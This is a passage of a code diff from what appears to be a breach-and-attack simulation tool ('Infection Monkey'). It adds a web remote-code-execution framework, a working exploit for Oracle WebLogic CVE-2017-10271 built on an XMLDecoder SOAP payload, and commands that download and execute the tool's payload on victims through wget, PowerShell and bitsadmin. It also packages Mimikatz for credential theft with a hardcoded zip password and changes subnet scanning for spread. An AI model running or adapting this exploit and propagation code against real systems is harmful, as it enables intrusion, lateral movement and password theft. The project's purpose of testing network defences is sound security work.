+    def check_if_exploitable(self, url):
+        """
+        Checks if target is exploitable by interacting with url
+        :param url: Url to exploit
+        :return: True if exploitable and false if not
+        """
+        try:
+            resp = self.exploit(url, CHECK_COMMAND)
+            if resp is True:
+                return True
+            elif resp is not False and ID_STRING in resp:
+                return True
+            else:
+                return False
+        except Exception as e:
+            LOG.error("Host's exploitability check failed due to: %s" % e)
+            return False
+
+    def build_potential_urls(self, ports, extensions=None):
+        """
+        :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
+        Eg. ports: [[80, False], [443, True]]
+        :param extensions: What subdirectories to scan. www.domain.com[/extension]
+        :return: Array of url's to try and attack
+        """
+        url_list = []
+        if extensions:
+            extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
+        else:
+            extensions = [""]
+        for port in ports:
+            for extension in extensions:
+                if port[1]:
+                    protocol = "https"
+                else:
+                    protocol = "http"
+                url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
+        if not url_list:
+            LOG.info("No attack url's were built")
+        return url_list
+
+    def add_vulnerable_urls(self, urls, stop_checking=False):
+        """
+        Gets vulnerable url(s) from url list
+        :param urls: Potentially vulnerable urls
+        :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
+        :return: None (we append to class variable vulnerable_urls)
+        """
+        for url in urls:
+            if self.check_if_exploitable(url):
+                self.vulnerable_urls.append(url)
+                if stop_checking:
+                    break
+        if not self.vulnerable_urls:
+            LOG.info("No vulnerable urls found, skipping.")
+        # We add urls to param used in reporting
+        self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
+
+    def get_host_arch(self, url):
+        """
+        :param url: Url for exploiter to use
+        :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
+        """
+        if 'linux' in self.host.os['type']:
+            resp = self.exploit(url, GET_ARCH_LINUX)
+            if resp:
+                # Pulls architecture string
+                arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
+                try:
+                    arch = arch.group(1)
+                except AttributeError:
+                    LOG.error("Looked for linux architecture but could not find it")
+                    return False
+                if arch:
+                    return arch
+                else:
+                    LOG.info("Could not pull machine architecture string from command's output")
+                    return False
+            else:
+                return False
+        else:
+            resp = self.exploit(url, GET_ARCH_WINDOWS)
+            if resp:
+                if "64-bit" in resp:
+                    return WIN_ARCH_64
+                else:
+                    return WIN_ARCH_32
+            else:
+                return False
+
+    def check_remote_monkey_file(self, url, path):
+        command = LOOK_FOR_FILE % path
+        resp = self.exploit(url, command)
+        if 'No such file' in resp:
+            return False
+        else:
+            LOG.info("Host %s was already infected under the current configuration, done" % host)
+            return True
+
+    def check_remote_files(self, url):
+        """
+        :param url: Url for exploiter to use
+        :return: True if at least one file is found, False otherwise
+        """
+        paths = []
+        if 'linux' in self.host.os['type']:
+            paths.append(self.monkey_target_paths['linux'])
+        else:
+            paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
+        for path in paths:
+            if self.check_remote_monkey_file(url, path):
+                return True
+        return False
+
+    # Wrapped functions:
+    def get_ports_w(self, ports, names):
+        """
+        Get ports wrapped with log
+        :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
+        :param names: [] of service names. Example: ["http"]
+        :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
+        """
+        ports = self.get_open_service_ports(ports, names)
+        if not ports:
+            LOG.info("All default web ports are closed on %r, skipping", host)
+            return False
+        else:
+            return ports
+
+    def set_host_arch(self, url):
+        arch = self.get_host_arch(url)
+        if not arch:
+            LOG.error("Couldn't get host machine's architecture")
+            return False
+        else:
+            self.host.os['machine'] = arch
+            return True
+
+    def run_backup_commands(self, resp, url, dest_path, http_path):
+        """
+        If you need multiple commands for the same os you can override this method to add backup commands
+        :param resp: Response from base command
+        :param url: Vulnerable url
+        :param dest_path: Where to upload monkey
+        :param http_path: Where to download monkey from
+        :return: Command's response (same response if backup command is not needed)
+        """
+        if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
+            LOG.info("Powershell not found in host. Using bitsadmin to download.")
+            backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
+            resp = self.exploit(url, backup_command)
+        return resp
+
+    def upload_monkey(self, url, commands=None):
+        """
+        :param url: Where exploiter should send it's request
+        :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
+        Command must have "monkey_path" and "http_path" format parameters.
+        :return: {'response': response/False, 'path': monkeys_path_in_host}
+        """
+        LOG.info("Trying to upload monkey to the host.")
+        if not self.host.os['type']:
+            LOG.error("Unknown target's os type. Skipping.")
+            return False
+        paths = self.get_monkey_paths()
+        if not paths:
+            return False
+        # Create server for http download and wait for it's startup.
+        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
+        if not http_path:
+            LOG.debug("Exploiter failed, http transfer creation failed.")
+            return False
+        LOG.info("Started http server on %s", http_path)
+        # Choose command:
+        if not commands:
+            commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
+        command = self.get_command(paths['dest_path'], http_path, commands)
+
+        resp = self.exploit(url, command)
+
+        resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
+
+        http_thread.join(DOWNLOAD_TIMEOUT)
+        http_thread.stop()
+        LOG.info("Uploading process finished")
+        return {'response': resp, 'path': paths['dest_path']}
+
+    def change_permissions(self, url, path, command=None):
+        """
+        Method for linux hosts. Makes monkey executable
+        :param url: Where to send malicious packets
+        :param path: Path to monkey on remote host
+        :param command: Formatted command for permission change or None
+        :return: response, False if failed and True if permission change is not needed
+        """
+        LOG.info("Changing monkey's permissions")
+        if 'windows' in self.host.os['type']:
+            LOG.info("Permission change not required for windows")
+            return True
+        if not command:
+            command = CHMOD_MONKEY % {'monkey_path': path}
+        try:
+            resp = self.exploit(url, command)
+        except Exception as e:
+            LOG.error("Something went wrong while trying to change permission: %s" % e)
+            return False
+        # If exploiter returns True / False
+        if type(resp) is bool:
+            LOG.info("Permission change finished")
+            return resp
+        # If exploiter returns command output, we can check for execution errors
+        if 'Operation not permitted' in resp:
+            LOG.error("Missing permissions to make monkey executable")
+            return False
+        elif 'No such file or directory' in resp:
+            LOG.error("Could not change permission because monkey was not found. Check path parameter.")
+            return False
+        LOG.info("Permission change finished")
+        return resp
+
+    def execute_remote_monkey(self, url, path, dropper=False):
+        """
+        This method executes remote monkey
+        :param url: Where to send malicious packets
+        :param path: Path to monkey on remote host
+        :param dropper: Should remote monkey be executed with dropper or with monkey arg?
+        :return: Response or False if failed
+        """
+        LOG.info("Trying to execute remote monkey")
+        # Get monkey command line
+        if dropper and path:
+            # If dropper is chosen we try to move monkey to default location
+            default_path = self.get_default_dropper_path()
+            if default_path is False:
+                return False
+            monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
+            command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
+        else:
+            monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+            command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
+        try:
+            resp = self.exploit(url, command)
+            # If exploiter returns True / False
+            if type(resp) is bool:
+                LOG.info("Execution attempt successfully finished")
+                return resp
+            # If exploiter returns command output, we can check for execution errors
+            if 'is not recognized' in resp or 'command not found' in resp:
+                LOG.error("Wrong path chosen or other process already deleted monkey")
+                return False
+            elif 'The system cannot execute' in resp:
+                LOG.error("System could not execute monkey")
+                return False
+        except Exception as e:
+            LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
+            return False
+        LOG.info("Execution attempt finished")
+        return resp
+
+    def get_monkey_upload_path(self, url_to_monkey):
+        """
+        Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
+        :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+        :return: Corresponding monkey path from self.monkey_target_paths
+        """
+        if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+            LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+            return False
+        try:
+            if 'linux' in url_to_monkey:
+                return self.monkey_target_paths['linux']
+            elif 'windows-32' in url_to_monkey:
+                return self.monkey_target_paths['win32']
+            elif 'windows-64' in url_to_monkey:
+                return self.monkey_target_paths['win64']
+            else:
+                LOG.error("Could not figure out what type of monkey server was trying to upload, "
+                          "thus destination path can not be chosen.")
+                return False
+        except KeyError:
+            LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
+                      "custom dict of monkey's destination paths")
+            return False
+
+    def get_monkey_paths(self):
+        """
+        Gets local (used by server) and destination (where to download) paths.
+        :return: dict of source and destination paths
+        """
+        src_path = get_target_monkey(self.host)
+        if not src_path:
+            LOG.info("Can't find suitable monkey executable for host %r", host)
+            return False
+        # Determine which destination path to use
+        dest_path = self.get_monkey_upload_path(src_path)
+        if not dest_path:
+            return False
+        return {'src_path': src_path, 'dest_path': dest_path}
+
+    def get_default_dropper_path(self):
+        """
+        Gets default dropper path for the host.
+        :return: Default monkey's destination path for corresponding host or False if failed.
+        E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
+        """
+        if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
+            LOG.error("Target's OS was either unidentified or not supported. Aborting")
+            return False
+        if self.host.os['type'] == 'linux':
+            return self._config.dropper_target_path_linux
+        if self.host.os['type'] == 'windows':
+            try:
+                if self.host.os['machine'] == WIN_ARCH_64:
+                    return self._config.dropper_target_path_win_64
+            except KeyError:
+                LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
+        return self._config.dropper_target_path_win_32

infection_monkey/exploit/weblogic.py

@@ -0,0 +1,197 @@
+# Exploit based of:
+# Kevin Kirsche (d3c3pt10n)
+# https://github.com/kkirsche/CVE-2017-10271
+# and
+# Luffin from Github
+# https://github.com/Luffin/CVE-2017-10271
+# CVE: CVE-2017-10271
+
+from requests import post, exceptions
+from web_rce import WebRCE
+from exploit.tools import get_free_tcp_port, get_interface_to_target
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+
+import threading
+import logging
+
+__author__ = "VakarisZ"
+
+LOG = logging.getLogger(__name__)
+# How long server waits for get request in seconds
+SERVER_TIMEOUT = 4
+# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
+REQUEST_TIMEOUT = 2
+# How long to wait for response in exploitation. In seconds
+EXECUTION_TIMEOUT = 15
+URLS = ["/wls-wsat/CoordinatorPortType",
+        "/wls-wsat/CoordinatorPortType11",
+        "/wls-wsat/ParticipantPortType",
+        "/wls-wsat/ParticipantPortType11",
+        "/wls-wsat/RegistrationPortTypeRPC",
+        "/wls-wsat/RegistrationPortTypeRPC11",
+        "/wls-wsat/RegistrationRequesterPortType",
+        "/wls-wsat/RegistrationRequesterPortType11"]
+# Malicious request's headers:
+HEADERS = {
+            "Content-Type": "text/xml;charset=UTF-8",
+            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
+                          "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
+          }
+
+
+class WebLogicExploiter(WebRCE):
+    _TARGET_OS_TYPE = ['linux', 'windows']
+
+    def __init__(self, host):
+        super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
+                                                       'win32': 'monkey32.exe',
+                                                       'win64': 'monkey64.exe'})
+
+    def get_exploit_config(self):
+        exploit_config = super(WebLogicExploiter, self).get_exploit_config()
+        exploit_config['blind_exploit'] = True
+        exploit_config['stop_checking_urls'] = True
+        exploit_config['url_extensions'] = URLS
+        return exploit_config
+
+    def exploit(self, url, command):
+        if 'linux' in self.host.os['type']:
+            payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
+        else:
+            payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
+        try:
+            post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
+        except Exception as e:
+            print('[!] Connection Error')
+            print(e)
+        return True
+
+    def check_if_exploitable(self, url):
+        # Server might get response faster than it starts listening to it, we need a lock
+        httpd, lock = self._start_http_server()
+        payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
+        try:
+            post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
+        except exceptions.ReadTimeout:
+            # Our request does not get response thus we get ReadTimeout error
+            pass
+        except Exception as e:
+            LOG.error("Something went wrong: %s" % e)
+        self._stop_http_server(httpd, lock)
+        return httpd.get_requests > 0
+
+    def _start_http_server(self):
+        """
+        Starts custom http server that waits for GET requests
+        :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
+        """
+        lock = threading.Lock()
+        local_port = get_free_tcp_port()
+        local_ip = get_interface_to_target(self.host.ip_addr)
+        httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
+        lock.acquire()
+        httpd.start()
+        lock.acquire()
+        return httpd, lock
+
+    def _stop_http_server(self, httpd, lock):
+        lock.release()
+        httpd.join(SERVER_TIMEOUT)
+        httpd.stop()
+
+    @staticmethod
+    def get_exploit_payload(cmd_base, cmd_opt, command):
+        """
+        Formats the payload used in exploiting weblogic servers
+        :param cmd_base: What command prompt to use eg. cmd
+        :param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
+        :param command: command itself
+        :return: Formatted payload
+        """
+        empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+                  <soapenv:Header>
+                    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+                      <java>
+                        <object class="java.lang.ProcessBuilder">
+                          <array class="java.lang.String" length="3" >
+                            <void index="0">
+                              <string>{cmd_base}</string>
+                            </void>
+                            <void index="1">
+                              <string>{cmd_opt}</string>
+                            </void>
+                            <void index="2">
+                              <string>{cmd_payload}</string>
+                            </void>
+                          </array>
+                          <void method="start"/>
+                        </object>
+                      </java>
+                    </work:WorkContext>
+                  </soapenv:Header>
+                  <soapenv:Body/>
+                </soapenv:Envelope>
+                '''
+        payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
+        return payload
+
+    @staticmethod
+    def get_test_payload(ip, port):
+        """
+        Gets payload used for testing whether weblogic server is vulnerable
+        :param ip: Server's IP
+        :param port: Server's port
+        :return: Formatted payload
+        """
+        generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+                  <soapenv:Header>
+                    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+                      <java version="1.8" class="java.beans.XMLDecoder">
+                        <void id="url" class="java.net.URL">
+                          <string>http://{host}:{port}</string>
+                        </void>
+                        <void idref="url">
+                          <void id="stream" method = "openStream" />
+                        </void>
+                      </java>
+                    </work:WorkContext>
+                  </soapenv:Header>
+                 <soapenv:Body/>
+                </soapenv:Envelope>
+                '''
+        payload = generic_check_payload.format(host=ip, port=port)
+        return payload
+
+    class IndicationHTTPServer(threading.Thread):
+        """
+        Http server built to wait for GET requests. Because oracle web logic vuln is blind,
+        we determine if we can exploit by either getting a GET request from host or not.
+        """
+        def __init__(self, local_ip, local_port, lock, max_requests=1):
+            self._local_ip = local_ip
+            self._local_port = local_port
+            self.get_requests = 0
+            self.max_requests = max_requests
+            self._stopped = False
+            self.lock = lock
+            threading.Thread.__init__(self)
+            self.daemon = True
+
+        def run(self):
+            class S(BaseHTTPRequestHandler):
+                @staticmethod
+                def do_GET():
+                    LOG.info('Server received a request from vulnerable machine')
+                    self.get_requests += 1
+            LOG.info('Server waiting for exploited machine request...')
+            httpd = HTTPServer((self._local_ip, self._local_port), S)
+            httpd.daemon = True
+            self.lock.release()
+            while not self._stopped and self.get_requests < self.max_requests:
+                httpd.handle_request()
+
+            self._stopped = True
+            return httpd
+
+        def stop(self):
+            self._stopped = True

infection_monkey/model/__init__.py

@@ -17,13 +17,15 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje
 DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
 
 # Commands used for downloading monkeys
-POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
-WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
-RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
-
+POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
+WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
+RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
+CHMOD_MONKEY = "chmod +x %(monkey_path)s"
+RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
 # Commands used to check for architecture and if machine is exploitable
-CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
-CHECK_LINUX = "echo %s && lscpu" % ID_STRING
+CHECK_COMMAND = "echo %s" % ID_STRING
+# Architecture checking commands
+GET_ARCH_WINDOWS = "wmic os get osarchitecture"
+GET_ARCH_LINUX = "lscpu"
 
-# Commands used to check if monkeys already exists
-EXISTS = "ls %s"
+DOWNLOAD_TIMEOUT = 300

infection_monkey/monkey.spec

@@ -1,22 +1,30 @@
 # -*- mode: python -*-
 import os
 import platform
+
+# Name of zip file in monkey. That's the name of the file in the _MEI folder
+MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
+
+
+def get_mimikatz_zip_path():
+    if platform.architecture()[0] == "32bit":
+        return '.\\bin\\mk32.zip'
+    else:
+        return '.\\bin\\mk64.zip'
+
+
 a = Analysis(['main.py'],
              pathex=['.', '..'],
              hiddenimports=['_cffi_backend', 'queue'],
              hookspath=None,
              runtime_hooks=None)
              
+a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
+a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
 
-a.binaries  += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
-a.binaries  += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
-
-if platform.system().find("Windows")>= 0:
+if platform.system().find("Windows") >= 0:
     a.datas = [i for i in a.datas if i[0].find('Include') < 0]
-    if platform.architecture()[0] == "32bit":
-        a.binaries  += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
-    else:
-        a.binaries  += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
+    a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
 
 pyz = PYZ(a.pure)
 exe = EXE(pyz,
@@ -28,4 +36,5 @@ exe = EXE(pyz,
           debug=False,
           strip=None,
           upx=True,
-          console=True , icon='monkey.ico')
+          console=True,
+          icon='monkey.ico')

infection_monkey/network/mssql_fingerprint.py

@@ -29,7 +29,6 @@ class MSSQLFinger(HostFinger):
                 Discovered server information written to the Host info struct.
                 True if success, False otherwise.
         """
-
         assert isinstance(host, VictimHost)
 
         # Create a UDP socket and sets a timeout

infection_monkey/network/network_scanner.py

@@ -36,8 +36,32 @@ class NetworkScanner(object):
         self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list]
         if WormConfiguration.local_network_scan:
             self._ranges += get_interfaces_ranges()
+        self._ranges += self._get_inaccessible_subnets_ips()
         LOG.info("Base local networks to scan are: %r", self._ranges)
 
+    def _get_inaccessible_subnets_ips(self):
+        """
+        For each of the machine's IPs, checks if it's in one of the subnets specified in the
+        'inaccessible_subnets' config value. If so, all other subnets in the config value shouldn't be accessible.
+        All these subnets are returned.
+        :return: A list of subnets that shouldn't be accessible from the machine the monkey is running on.
+        """
+        subnets_to_scan = []
+        if len(WormConfiguration.inaccessible_subnets) > 1:
+            for subnet_str in WormConfiguration.inaccessible_subnets:
+                if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str):
+                    # If machine has IPs from 2 different subnets in the same group, there's no point checking the other
+                    # subnet.
+                    for other_subnet_str in WormConfiguration.inaccessible_subnets:
+                        if other_subnet_str == subnet_str:
+                            continue
+                        if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses],
+                                                                   other_subnet_str):
+                            subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
+                    break
+
+        return subnets_to_scan
+
     def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
         assert issubclass(scan_type, HostScanner)
 
@@ -76,3 +100,10 @@ class NetworkScanner(object):
 
                 if SCAN_DELAY:
                     time.sleep(SCAN_DELAY)
+
+    @staticmethod
+    def _is_any_ip_in_subnet(ip_addresses, subnet_str):
+        for ip_address in ip_addresses:
+            if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address):
+                return True
+        return False

infection_monkey/network/tcp_scanner.py

@@ -2,7 +2,7 @@ from itertools import izip_longest
 from random import shuffle
 
 from network import HostScanner, HostFinger
-from network.tools import check_tcp_ports
+from network.tools import check_tcp_ports, tcp_port_to_service
 
 __author__ = 'itamar'
 
@@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger):
         ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
                                          self._config.tcp_scan_get_banner)
         for target_port, banner in izip_longest(ports, banners, fillvalue=None):
-            service = 'tcp-' + str(target_port)
+            service = tcp_port_to_service(target_port)
             host.services[service] = {}
             if banner:
                 host.services[service]['banner'] = banner

infection_monkey/network/tools.py

@@ -8,6 +8,7 @@ DEFAULT_TIMEOUT = 10
 BANNER_READ = 1024
 
 LOG = logging.getLogger(__name__)
+SLEEP_BETWEEN_POLL = 0.5
 
 
 def struct_unpack_tracker(data, index, fmt):
@@ -126,15 +127,24 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
             LOG.warning("Failed to connect to port %s, error code is %d", port, err)
 
         if len(possible_ports) != 0:
-            time.sleep(timeout)
-            sock_objects = [s[1] for s in possible_ports]
-            # first filter
-            _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
-            for s in writeable_sockets:
-                try: # actual test
-                    connected_ports_sockets.append((s.getpeername()[1], s))
-                except socket.error:  # bad socket, select didn't filter it properly
-                    pass
+            timeout = int(round(timeout))  # clamp to integer, to avoid checking input
+            time_left = timeout
+            sockets_to_try = possible_ports[:]
+            connected_ports_sockets = []
+            while (time_left >= 0) and len(sockets_to_try):
+                sock_objects = [s[1] for s in sockets_to_try]
+
+                _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
+                for s in writeable_sockets:
+                    try:  # actual test
+                        connected_ports_sockets.append((s.getpeername()[1], s))
+                    except socket.error:  # bad socket, select didn't filter it properly
+                        pass
+                sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets]
+                if sockets_to_try:
+                    time.sleep(SLEEP_BETWEEN_POLL)
+                    timeout -= SLEEP_BETWEEN_POLL
+
             LOG.debug(
                 "On host %s discovered the following ports %s" %
                 (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])))
@@ -154,3 +164,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
     except socket.error as exc:
         LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
         return [], []
+
+
+def tcp_port_to_service(port):
+    return 'tcp-' + str(port)

infection_monkey/pyinstaller_utils.py

@@ -0,0 +1,25 @@
+import os
+import sys
+
+
+__author__ = 'itay.mizeretz'
+
+
+def get_binaries_dir_path():
+    """
+    Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise)
+    :return: Binaries dir path
+    """
+    if getattr(sys, 'frozen', False):
+        return sys._MEIPASS
+    else:
+        return os.path.dirname(os.path.abspath(__file__))
+
+
+def get_binary_file_path(filename):
+    """
+    Gets the path to a binary file
+    :param filename: name of the file
+    :return: Path to file
+    """
+    return os.path.join(get_binaries_dir_path(), filename)

infection_monkey/readme.txt

@@ -70,4 +70,9 @@ Sambacry requires two standalone binaries to execute remotely.
 
 Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from 
 https://github.com/guardicore/mimikatz/releases/tag/1.0.0
-Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin
+Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin
+Alternatively, if you build Mimikatz, put each version in a zip file.
+1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
+2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
+3. The zip file should be named mk32.zip/mk64.zip accordingly.
+4. Zipping with 7zip has been tested. Other zipping software may not work.

infection_monkey/system_info/mimikatz_collector.py

@@ -2,6 +2,9 @@ import binascii
 import ctypes
 import logging
 import socket
+import zipfile
+
+from pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
 
 __author__ = 'itay.mizeretz'
 
@@ -13,12 +16,30 @@ class MimikatzCollector(object):
     Password collection module for Windows using Mimikatz.
     """
 
-    def __init__(self):
-        try:
+    # Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
+    MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
 
-            self._isInit = False
-            self._config = __import__('config').WormConfiguration
-            self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
+    # Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
+    MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
+
+    # Password to Mimikatz zip file
+    MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G'
+
+    def __init__(self):
+        self._config = __import__('config').WormConfiguration
+        self._isInit = False
+        self._dll = None
+        self._collect = None
+        self._get = None
+        self.init_mimikatz()
+
+    def init_mimikatz(self):
+        try:
+            with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
+                mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
+                                     pwd=self.MIMIKATZ_ZIP_PASSWORD)
+
+            self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
             collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
             get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
             get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)

infection_monkey/system_info/windows_info_collector.py

@@ -126,6 +126,7 @@ class WindowsInfoCollector(InfoCollector):
     def __init__(self):
         super(WindowsInfoCollector, self).__init__()
         self.info['reg'] = {}
+        self._config = __import__('config').WormConfiguration
 
     def get_info(self):
         """

infection_monkey/transport/__init__.py

@@ -1,3 +1,3 @@
-from http import HTTPServer
+from http import HTTPServer, LockedHTTPServer
 
 __author__ = 'hoffer'

infection_monkey/transport/http.py

@@ -6,6 +6,7 @@ import threading
 import urllib
 from logging import getLogger
 from urlparse import urlsplit
+from threading import Lock
 
 import monkeyfs
 from base import TransportProxyBase, update_last_serve_time
@@ -183,6 +184,49 @@ class HTTPServer(threading.Thread):
         self.join(timeout)
 
 
+class LockedHTTPServer(threading.Thread):
+    """
+    Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
+    You create a lock instance and pass it to this server's constructor. Then acquire the lock
+    before starting the server and after it. Once the server starts it will release the lock
+    and subsequent code will be able to continue to execute. That way subsequent code will
+    always call already running HTTP server
+    """
+    # Seconds to wait until server stops
+    STOP_TIMEOUT = 5
+
+    def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
+        self._local_ip = local_ip
+        self._local_port = local_port
+        self._filename = filename
+        self.max_downloads = max_downloads
+        self.downloads = 0
+        self._stopped = False
+        self.lock = lock
+        threading.Thread.__init__(self)
+        self.daemon = True
+
+    def run(self):
+        class TempHandler(FileServHTTPRequestHandler):
+            filename = self._filename
+
+            @staticmethod
+            def report_download(dest=None):
+                LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
+                self.downloads += 1
+
+        httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
+        self.lock.release()
+        while not self._stopped and self.downloads < self.max_downloads:
+            httpd.handle_request()
+
+        self._stopped = True
+
+    def stop(self, timeout=STOP_TIMEOUT):
+        self._stopped = True
+        self.join(timeout)
+
+
 class HTTPConnectProxy(TransportProxyBase):
     def run(self):
         httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)

infection_monkey/utils.py

@@ -29,3 +29,4 @@ def is_64bit_python():
 
 def is_windows_os():
     return sys.platform.startswith("win")
+

monkey_island/cc/main.py

@@ -6,6 +6,11 @@ import time
 import logging
 
 BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
